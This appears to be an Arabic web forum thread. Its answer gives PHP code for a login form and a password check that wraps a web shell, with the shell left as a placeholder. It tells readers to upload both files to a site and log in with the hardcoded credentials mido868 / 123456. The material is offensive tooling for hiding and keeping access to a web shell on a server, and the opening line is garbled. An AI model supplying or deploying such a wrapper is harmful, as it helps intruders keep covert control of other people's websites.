| | رقم المشاركة : 1 (permalink) |
| السلام عليكم ورحمة الله وبركاته Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC lpjh[ lshu]i ggofvhx []h | |
|
| |
أفضل جواب - كتبه mido868 |
| ملف form.php سنجعل فيه نموذج الدخول كود: <html> <head> <**** **********="Content-Type" content="text/html; charset=windows-1256"> <title></title> </head> <body> <center> <?php echo "<form action='shell.php' method='post'><table border=0 dir=rtl >"; echo "<tr><td width='107' align='center'>الأســم<td/>"; echo "<td width='181' align='center'><input type='text' name='user' size=20><td/>"; echo "<tr/><tr>"; echo "<tr><td width='107' align='center'>كلمة المرور<td/>"; echo "<td width='181' align='center'><input type='password' name='pass' size=20><td/>"; echo "<tr/><tr>"; echo "<tr><td width='288' align='center' colspan='2'>"; echo "<input type='submit'name='send' value='ارسـال' ><td/>"; echo "<tr/><table/><form/>"; ?><center> </body> </html> كود: <html>
<head>
<**** **********="Content-Type" content="text/html; charset=windows-1256">
<title></title>
</head>
<body size=6 text=red bgcolor="#000000">
<b><center>
<?php
if ( !$_POST['user'])
{
echo "لم تقم بكتابة اسمك";
?>
<br>
<a href='form.php'>الرجوع إلى الخلف<a/>
<?exit;
}
if ( !$_POST['pass'])
{
echo "لم تقم بكتابة كلمة المرور";
?>
<br>
<a href='form.php'>الرجوع إلى الخلف<a/>
<? exit;
}
if (!$_POST['user'] || !$_POST['pass']) // المستخدم لم يكمل الحقول
{
echo "<br><br><br>";
echo "الرجاء قم بتعبئة جميع الحقول";
exit;
}
$user="mido868";
$pass=123456;
if ($_POST['user']&&$_POST['pass'])
{
if ( $_POST['user']==$user && $_POST['pass']==$pass)// تسجيل دخول صحيح
{
shell cod
}
else
{
echo "اسم المستخدم أو كلمة المرور غير صحيحة";
}
}
else
{
echo "الرجاء تعبة جميع الحقول";
}
?><cenrer/><b/>
</body>
</html> <?php ?> ضع الشل فقط خالي من وسوم البداية والنهاية بعد ذلك ارفع الملفين على الموقع وادخل على form.php وادخل البيانات اللتي موجوده في الكود اعلاه user:mido868 pass:123456 يمكنك تغييرها منقول |
| | رقم المشاركة : 2 (permalink) | |||||||||||||||||||||||||
|
| ||||||||||||||||||||||||||
|
| |
![]() |
| مواقع النشر (المفضلة) |
|
|